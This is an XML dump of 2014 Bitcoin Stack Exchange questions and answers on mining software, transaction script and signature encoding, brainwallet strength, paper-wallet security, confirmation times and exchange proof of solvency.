  <row Id="23219" PostTypeId="2" ParentId="23213" CreationDate="2014-03-08T01:36:27.120" Score="0" Body="&lt;p&gt;A couple of things to check&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;cgminer --version  - Is the version 3.7.2? if you are using a more recent version you should downgrade it doesn't support GPU mining.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in the install dir run ./config.status --config  You should get at least the following output '--enable-opencl' '--enable-scrypt'  if you have correctly compiled with scrypt dependencies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-08T01:36:27.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23220" PostTypeId="2" ParentId="23255" CreationDate="2014-03-08T02:17:42.430" Score="0" Body="&lt;p&gt;I suppose you are talking about the scripts. The &lt;code&gt;scriptPubKey&lt;/code&gt; script in the output is indeed more readable because it contains OpCodes like &lt;code&gt;OP_HASH160&lt;/code&gt; and &lt;code&gt;OP_CHECKSIG&lt;/code&gt;. However, the input scripts are in their original form as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Pay-to-PubkeyHash&quot; rel=&quot;nofollow&quot;&gt;the specification of the pay-to-pubkey-hash&lt;/a&gt; transactions scripts (the regular scripts to pay to Bitcoin address), the input input script only consists of two data elements, the signature and the public key. So what you see in the input fields &quot;hex&quot; and &quot;asm&quot; are the signature and the public key of the address the input spends funds from. The reason that these two values vary slightly is because they are encoded differently, but that doesn't matter all that much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, they are not encrypted or so, they just contain little to no relevant information.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-03-08T02:17:42.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23221" PostTypeId="2" ParentId="10131" CreationDate="2014-03-08T02:23:49.380" Score="0" Body="&lt;p&gt;I had a Bitcoin miner running for a few months back in the GPU-mining days and it destroyed my battery. Batteries are very sensitive for heat, so I strongly discourage mining with a battery-holding device. Desktops are OK, though, I guess.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-03-08T02:23:49.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23222" PostTypeId="2" ParentId="22217" CreationDate="2014-03-08T03:29:59.647" Score="0" Body="&lt;p&gt;Your question &quot;fixed&quot; my problem.  I have a computer with 4 X Saphire HD 7950 and I am dealing with the same problem.  I &lt;em&gt;think&lt;/em&gt; it's power related issue but I have a 1300 gold rated unit...  I used to just have it sit at 13 intensity while I figured out this but now I can sit it at 16!  Anyways I don't want Munch to get angry at me so I'll add a bounty on the &quot;if&quot; someone could resolve this $5 of BTC will be heading their way.&lt;/p&gt;&#xA;" OwnerUserId="14274" LastActivityDate="2014-03-08T03:29:59.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23223" PostTypeId="2" ParentId="19993" CreationDate="2014-03-08T03:34:45.127" Score="0" Body="&lt;p&gt;I would recommend &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-abe&lt;/a&gt;  It is an open source project that will parse the entire blockchain and essentially create a databse with all of the transaction information that you are looking for.  it is worth noting that the setup process does take several days with the current size of the blockchain, but it will allow you to locally query any transaction for the information that you are looking for.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-03-08T03:34:45.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23224" PostTypeId="2" ParentId="23212" CreationDate="2014-03-08T03:43:20.333" Score="1" Body="&lt;p&gt;These functions return the high or low over for the past 24 hours.  You can poll the API for this data as often as the API allows for (600 times over 10 mins according to your link). The data that it returns does only consider the past 24 hour prices however.  If you want to find out the high and lower prices over a longer time frame you will need to look at historical ticker data and determine the high and low values returned from the data set that you are requesting.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-03-08T03:43:20.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23225" PostTypeId="2" ParentId="22166" CreationDate="2014-03-08T04:12:34.617" Score="0" Body="&lt;p&gt;yes, one could lock one crypto coin to another making one perfectly stable and the other even more volatile. For example you could take CENTcoin, say you want it to have the purchasing power of a 1955 copper penny. then when it reaches that value it drives the price of the other coin up or down not itself. this would be a good way to bring attention and value to both coins.&lt;/p&gt;&#xA;" OwnerUserId="14275" LastActivityDate="2014-03-08T04:12:34.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23227" PostTypeId="1" CreationDate="2014-03-08T06:49:07.420" Score="1" ViewCount="69" Body="&lt;p&gt;I'm looking to buy a hybrid bitcoin/litecoin miner. Which ones are reliable and where can I get them in the US?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-01T09:07:00.423" LastActivityDate="2016-04-01T09:07:00.423" Title="How many different hybrid miners out there now that can mine bitcoin + litecoin at the same time? And where is a reliable source to buy them?" Tags="|litecoin|mining-hardware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23228" PostTypeId="2" ParentId="23066" CreationDate="2014-03-08T07:14:57.427" Score="1" Body="&lt;p&gt;Absolutely, if it didn't it would be a bug anyways. Linux and Windows Multibit should work properly on the same backup.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-08T07:14:57.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23229" PostTypeId="1" CreationDate="2014-03-08T08:09:46.737" Score="1" ViewCount="197" Body="&lt;p&gt;I want to create a brainwallet using a custom diceware since I don't like the original one. Instead of 7776 words it has 46656 because I use 6 dice for each word instead of 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is what I got so far, please tell me if I made a mistake:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 ^ (log2(46656) * 5) / (1 * 10^15) / (60 * 60 * 24 * 365) = 7 years&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 ^ (log2(46656) * 5) is the entropy for a brainwallet of 5 words&lt;/li&gt;&#xA;&lt;li&gt;1 * 10^15 is 1 Phash/s, which is the hashing power I'm assuming for this attacker. I don't even know if this makes sense, because an attacker doesn't need to start over for each brainwallet he wants to crack.&lt;/li&gt;&#xA;&lt;li&gt;60 * 60 * 24 * 365 represents a year in seconds&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2022-09-19T13:07:25.793" Title="Trying to calculate the strength of a brainwallet created with a custom diceware" Tags="|brain-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23234" PostTypeId="1" CreationDate="2014-03-08T12:58:32.850" Score="2" ViewCount="3180" Body="&lt;p&gt;I would like to understand if there is a difference in resolving blocks with a private pool and solo mining, I understand that when solo mining you are given a block to resolve but within your private pool you may resolve various, this of course having several machines.&lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="5406" LastEditDate="2016-04-25T16:26:37.393" LastActivityDate="2016-04-25T16:26:37.393" Title="what is the difference between a private pool or solo mining" Tags="|mining-pools|miner-configuration|solo-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23237" PostTypeId="2" ParentId="22929" CreationDate="2014-03-08T15:39:45.360" Score="0" Body="&lt;p&gt;All else seems OK , but I think there is some issue with the SHA256x2 - e.g. :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;according to your example the sha256x2 of :&lt;br&gt;&#xA;&lt;code&gt;020000000413cf7d02794eb094cd66404e46aa816679e12f6fdf9ee11f0e97337702b6e00b1edc1ccf82d3214423fc68234f4946119e39df2cc2137e31ebc186191d54229f8f1753dbdf441b00000000&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should return:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;f6f13e350aa4f251e192ab8a78690ee99f1cc2d930d4ae16c4172a0a8aefddd0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT IT ACTUALLY RETURNS :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;077a4c8f19b52972747fb29a329064965d1c1176a1cd88f1f091e4aabb6fe3fa&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify - go to : &lt;a href=&quot;http://www.compileonline.com/execute_python_online.php&quot; rel=&quot;nofollow&quot;&gt;http://www.compileonline.com/execute_python_online.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and execute :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/local/bin/python2.7&#xA;import hashlib  &#xA;header_hex = &quot;020000000413cf7d02794eb094cd66404e46aa816679e12f6fdf9ee11f0e97337702b6e00b1edc1ccf82d3214423fc68234f4946119e39df2cc2137e31ebc186191d54229f8f1753dbdf441b00000000&quot;&#xA;header_bin = header_hex.decode('hex')&#xA;hash = hashlib.sha256(hashlib.sha256(header_bin).digest()).digest()&#xA;&#xA;print hash.encode('hex_codec') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;" OwnerUserId="14280" LastEditorUserId="11369" LastEditDate="2014-03-09T07:57:16.597" LastActivityDate="2014-03-09T07:57:16.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23238" PostTypeId="1" AcceptedAnswerId="23242" CreationDate="2014-03-08T17:12:35.400" Score="0" ViewCount="210" Body="&lt;p&gt;One would think that if a person generated a private key client side and never exposed that key to the internet, that they would be secure. However, the risk is that the paper wallet generation code is compromised such that it provides the victim with private keys that are already known to an attacker. How best to mitigate this risk?&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2014-03-08T18:34:04.097" Title="Paper wallet generated client side and off network is not necessarily secure" Tags="|security|paper-wallet|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-09T10:39:15.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="23239" PostTypeId="2" ParentId="22227" CreationDate="2014-03-08T17:29:10.163" Score="3" Body="&lt;p&gt;Transaction malleability has a very small effect on a regular user, at most it can mess up some of your bookkeeping if you store the Transaction Id of a transaction before it is confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction malleability only affects unconfirmed transactions. The bug allows an unconfirmed transaction to be duplicated with a new transaction id. Since the two (or more) transactions are spending the same input only one can go through, but that one of them should deliver the money just as expected. For major services that rely on a big number of unconfirmed transactions, this can cause some headache, but &lt;strong&gt;there is no way it could be used to steal money from your Bitcoin-Qt wallet&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-08T17:47:27.087" LastActivityDate="2014-03-08T17:47:27.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23240" PostTypeId="1" AcceptedAnswerId="23241" CreationDate="2014-03-08T17:48:52.673" Score="2" ViewCount="86" Body="&lt;p&gt;I'm not sure how this exactly works. So roughly every 10 mins a block is released to the network. How is this done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does my bitcoin client signal this? Would that mean in theory if there was just one user, one client, you would just mine alone?&lt;/p&gt;&#xA;" OwnerUserId="14284" LastEditorUserId="5406" LastEditDate="2016-04-25T20:16:03.727" LastActivityDate="2016-04-25T20:16:03.727" Title="Where is the code that specifies when a block is released?" Tags="|block|mining-technical-details|bitcoin-core-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23241" PostTypeId="2" ParentId="23240" CreationDate="2014-03-08T18:18:04.057" Score="3" Body="&lt;p&gt;Every time a block is successfully mined, the miner releases it immediately. The mining difficulty is adjusted over time to keep the average block release rate at roughly ten minutes. Successfully mining a block is so difficult that all the miners in the world only successfully build a single block, on average, once every ten minutes.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-08T18:18:04.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23242" PostTypeId="2" ParentId="23238" CreationDate="2014-03-08T18:34:04.097" Score="2" Body="&lt;p&gt;You can generate the random bits yourself to eliminate possibly weaknesses / backdoors in an offline wallet generator. For example throw a dice 100 times and write down the sequence, and use the SHA256 hash as your private key. Or if you don't have a dice, toss a coin 256 times is ok too.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-08T18:34:04.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23244" PostTypeId="1" AcceptedAnswerId="23254" CreationDate="2014-03-08T19:10:23.067" Score="1" ViewCount="665" Body="&lt;p&gt;I'm just starting out with alt-coins, and have executed a few transactions with both bitcoin and dogecoin and they all seem to &quot;go through&quot; in less than a minute. I've transferred small amounts between wallets (my own) done some gambling and everything seems to transact within 2 minutes tops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just made a small deposit to cryptsy and it took 90 minutes to get confirmed. I'm wondering why it took so long this time. (FWIW I do have 3 wallets up right now, Bitcoin-QT, Multibit, and Dogecoin-QT, if that matters.) My network connection seems to be working normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wallet indicated it was confirming (1 of 6, 2 of 6, etc.) and I've never seen that before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues, anyone?&lt;/p&gt;&#xA;" OwnerUserId="11495" LastEditorUserId="11495" LastEditDate="2014-03-08T22:05:47.093" LastActivityDate="2014-03-09T01:52:54.663" Title="Why would a transaction take 90 minutes to get confirmed?" Tags="|transactions|cryptsy|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23246" PostTypeId="2" ParentId="22566" CreationDate="2014-03-08T19:56:58.813" Score="0" Body="&lt;p&gt;It sounds like a nice service, but don't give it a try. It's pure fraud. They accept deposits, but their withdrawal system is permanently having &quot;connection errors&quot; or &quot;invalid amounts&quot; or whatever. For a whole month now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, they just steal your money.&lt;/p&gt;&#xA;" OwnerUserId="14288" LastActivityDate="2014-03-08T19:56:58.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23247" PostTypeId="1" CreationDate="2014-03-08T20:08:17.993" Score="0" ViewCount="1273" Body="&lt;p&gt;I have a paper wallet as an image file, the QR code of the private key gives a base64 encoded string which gives &quot;Salted_(some binary here)&quot; when decoded. What format is this and can I get the private key without a webcam or phone?&lt;/p&gt;&#xA;" OwnerUserId="14290" LastEditorUserId="267" LastEditDate="2014-03-08T22:47:33.070" LastActivityDate="2014-04-07T23:21:06.440" Title="Which private key format is this?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23248" PostTypeId="2" ParentId="23247" CreationDate="2014-03-08T20:31:23.403" Score="1" Body="&lt;p&gt;Probably encrypted using an OpenSSL-interoperable format. See &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/questions/8776/what-is-u2fsdgvkx1/8777#8777&quot;&gt;https://crypto.stackexchange.com/questions/8776/what-is-u2fsdgvkx1/8777#8777&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://juliusdavies.ca/commons-ssl/pbe.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://juliusdavies.ca/commons-ssl/pbe.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 8 bytes following &quot;Salted_&quot; should be the salt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example cmdline to decrypt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'U2FsdGVkX19qplb9qVDVVEYxH8wjJDGpMS+F4/2pS2c=' | openssl enc -a -d -salt -des3 -pass pass:changeit&#xA;Hello World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2014-03-08T20:31:23.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23249" PostTypeId="2" ParentId="2245" CreationDate="2014-03-08T20:44:01.283" Score="1" Body="&lt;p&gt;I don't understand why people overlook the simplest and cheapest option. I personally just &lt;strong&gt;hand-write&lt;/strong&gt; the keys on paper, and for verification purpose,  type the private key back into an offline wallet software to ensure the generated address matches.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-08T20:44:01.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23250" PostTypeId="1" CreationDate="2014-03-08T22:42:07.337" Score="4" ViewCount="3870" Body="&lt;p&gt;I use Blockchain.info for my wallet, I use a secure anonymous email address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My name and identifying information is never connected with my bitcoin, is it anonymous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I keep my bitcoin wallets and usage anonymous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will Blockchain.info give up my IP address if &quot;requested&quot; by TPTB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be using TOR for all of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="14295" LastActivityDate="2014-11-30T01:38:28.307" Title="Does Blockchain.info track IP addresses?" Tags="|blockchain.info|privacy|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23253" PostTypeId="1" AcceptedAnswerId="23277" CreationDate="2014-03-09T01:46:48.917" Score="3" ViewCount="915" Body="&lt;p&gt;&lt;a href=&quot;http://auroracoin.org/&quot; rel=&quot;nofollow&quot;&gt;Auroracoin&lt;/a&gt; has become &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;the 4th biggest crypto-currency&lt;/a&gt; measured in market capitalization. How can an as-yet unreleased coin have market value if it's not available for exchange (either for fiat or for another crypto-coin) anywhere??? In fact, save for the storage accounts of its creator, &lt;em&gt;noone&lt;/em&gt; has an Auroracoin yet. So whence comes its valuation and thus its market cap???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As much as I admire the stated intentions of Auroracoin's creators and their ingenuity for turning stuff traditionally seen as BAD (premining, universal and compulsory registration for all citizens) into GOOD, this market cap point makes me a bit suspicious.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-22T14:22:06.590" Title="How can Auroracoin be the 4th crypto-coin by market cap if it's unreleased yet?" Tags="|altcoin|exchange-rate|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23254" PostTypeId="2" ParentId="23244" CreationDate="2014-03-09T01:52:54.663" Score="3" Body="&lt;p&gt;Bitcoin has longer confirmation times than many altcoins like Litecoin or Dogecoin, and different services make their own choices about how many confirmations to require before a deposit is made available for use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can see a new transaction on the network almost instantly, many services require six confirmations to prevent double-spending.  With Bitcoin, six confirmations will commonly require an hour and perhaps more if no transaction fee was added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the description, it leads me to believe that Cryptsy wanted to see six confirmations before making your deposit available to you on the Cryptsy site. It's not really unusual to see that take the 90 minute wait you experienced.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-03-09T01:52:54.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23255" PostTypeId="1" CreationDate="2014-03-09T02:52:03.367" Score="1" ViewCount="1924" Body="&lt;p&gt;Here's what I get from Mintcoin client for some transaction. I have decoded output, but &#xA;how can I decrypt &lt;strong&gt;asm&lt;/strong&gt; in transaction input? I know it's a public key. Here it is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304502207fc09b1c29548feceb349aa1450874f97e7e9b9c0084e5917380151258236633022100808b8ca131480afcdef328c961131be389489fdc07e5201a807c47a6b94b18f201&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zstd2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13993" LastEditorUserId="5406" LastEditDate="2014-03-15T15:16:29.980" LastActivityDate="2014-03-15T15:16:29.980" Title="How to decrypt asm?" Tags="|transactions|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23257" PostTypeId="1" CreationDate="2014-03-09T03:00:06.463" Score="0" ViewCount="164" Body="&lt;p&gt;I would like to cancel a transaction I sent offline, and am looking for ways to prevent it from being accepted by the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the Bitcoin client prohibit the entire Tx if there is even on input that is already spent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer to that question is &quot;yes&quot;, then what if I created &quot;control addresses as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate 10,000 addresses and send each 0.0001 BTC &lt;/li&gt;&#xA;&lt;li&gt;After N confirmations pass, create an offline transaction&lt;/li&gt;&#xA;&lt;li&gt;Consume one of the balances in step 1 above in the offline Tx&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I suspect either one of the two scenarios will occur:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User broadcasts offline Tx, and completes the Tx&lt;/li&gt;&#xA;&lt;li&gt;I spend the balance of the &quot;control address&quot;, and when the user tries to spend the offline tx, they are denied because one of the inputs it refers to has already been spent.&lt;/li&gt;&#xA;&lt;li&gt;???&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this a correct approach to canceling offline transactions?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What optimizations can be made?  I dislike having the overhead of having to sign each control input with a new private key each time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-04-08T06:25:59.710" Title="Can I cancel an offline transaction with this approach? (opposite of nLocktime)" Tags="|transactions|offline|locktime|off-chain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23258" PostTypeId="1" CreationDate="2014-03-09T03:02:01.233" Score="9" ViewCount="592" Body="&lt;p&gt;Is the safety of bitcoin dependent on the creator of it being a trustworthy person? Or would it be safe to use even if it turned out the creator's day job was working at the NSA?&lt;/p&gt;&#xA;" OwnerUserId="14303" LastEditorUserId="14303" LastEditDate="2014-03-16T21:49:21.630" LastActivityDate="2014-03-16T22:23:11.420" Title="How much trust is placed on Satoshi Nakamoto?" Tags="|trust|satoshi-nakamoto|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23259" PostTypeId="1" CreationDate="2014-03-09T03:06:26.310" Score="1" ViewCount="65" Body="&lt;p&gt;I'm looking &lt;a href=&quot;https://blockchain.info/tx/ee1658bb4d0de80a91d2e0005218d4cfab7c302a352458bd6afb6376b47fbf81&quot; rel=&quot;nofollow&quot;&gt;at this transaction&lt;/a&gt; that is redeeming many historical outputs from the same address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at the blockchain, it seems pretty clear there is redundancy here of the public key being repeated over and over again.  If I could consolidate that, I could save on transaction fees, and bloat in the blockchain by signing all of them at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have one signature redeem many inputs at once?  Perhaps using P2SH?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-04-08T03:25:21.140" Title="Can I sign and redeem many outputs at the same time? (shrink the size of a tx Input)" Tags="|transactions|transaction-fees|signature|performance|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23260" PostTypeId="2" ParentId="23258" CreationDate="2014-03-09T03:11:02.393" Score="1" Body="&lt;p&gt;He does own a LOT of bitcoins. If he chooses to dump them on the market for whatever nefarious motive, it would cause a major disruption.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-09T03:11:02.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23261" PostTypeId="2" ParentId="23259" CreationDate="2014-03-09T03:20:26.610" Score="1" Body="&lt;p&gt;Unfortunately by design, each scriptSig is verified slightly differently, so a different sig is required to redeem each input.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-09T03:20:26.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23263" PostTypeId="2" ParentId="23255" CreationDate="2014-03-09T03:27:12.307" Score="1" Body="&lt;p&gt;This is ASN.1 DER encoding. This is NOT the public key, but the ECDSA signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;30 45 means set of data with 0x45 bytes following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02 20 means big integer with 0x20 bytes (this is big endian value &quot;r&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Skip 0x20 bytes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;02 21 means big integer with 0x21 bytes (&quot;s&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r = 0x7fc09b1c29548feceb349aa1450874f97e7e9b9c0084e5917380151258236633,&#xA;s = 0x808b8ca131480afcdef328c961131be389489fdc07e5201a807c47a6b94b18f2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The final byte 0x01 means SIGHASH_ALL (default)&lt;/p&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-03-09T03:39:47.330" LastActivityDate="2014-03-09T03:39:47.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23264" PostTypeId="2" ParentId="23258" CreationDate="2014-03-09T03:41:14.900" Score="10" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the safety of bitcoin dependent on the creator of it being a trustworthy person? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the safety of Bitcoin is not at all dependent on the identity of its creator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code is public. The paper is public.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or would it be safe to use even if it turned out the creator's day job was working at the NSA?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, the genesis of Bitcoin is unrelated to its current state or future state, except through the data of the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2014-03-09T03:41:14.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23265" PostTypeId="1" CreationDate="2014-03-09T03:57:42.003" Score="8" ViewCount="788" Body="&lt;p&gt;What methods can an exchange website use to prove that it actually has all its users' bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;User privacy is a must. No one should be able to tell how many bitcoins an account has (besides his own).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Total number of accounts should be kept secret.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Total number of bitcoins should be kept secret (if possible).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;I've came across &lt;a href=&quot;https://iwilcox.me.uk/2014/nofrac-orig&quot; rel=&quot;nofollow&quot;&gt;gmaxwell's transcript&lt;/a&gt; but it seems to lack many core details and I couldn't really grasp it in it's entirety.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="1766" LastEditDate="2015-03-02T00:17:50.570" LastActivityDate="2017-12-01T21:49:29.200" Title="How can a bitcoin exchange prove its solvency while maintaining privacy?" Tags="|exchanges|cryptography|trust|proof-of-solvency|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23266" PostTypeId="2" ParentId="23265" CreationDate="2014-03-09T04:21:28.117" Score="0" Body="&lt;p&gt;A binary tree is constructed at a particular point in time, such that the account ID and account balance of each user is recorded a leaf node, and each parent node contains the sum of account values of its children, then the root node is the total account balance at that time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange then hashes the data in each leaf node, and for each parent node calculates the hash of the concatenation of hashes for its children (like a merkel tree), and finally publishes the merkel root hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any user wants to challenge the authenticity of the hash, the exchange then reveals to the user of all the hashes and the node balance (but not the account IDs) belonging to the nodes on the path of the binary tree between the root and the leaf node associated with the user's account, and the hashes of the immediate sibling nodes, so user can verify that the merkle hash is indeed calculated correctly using his true account balance.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-09T04:21:28.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
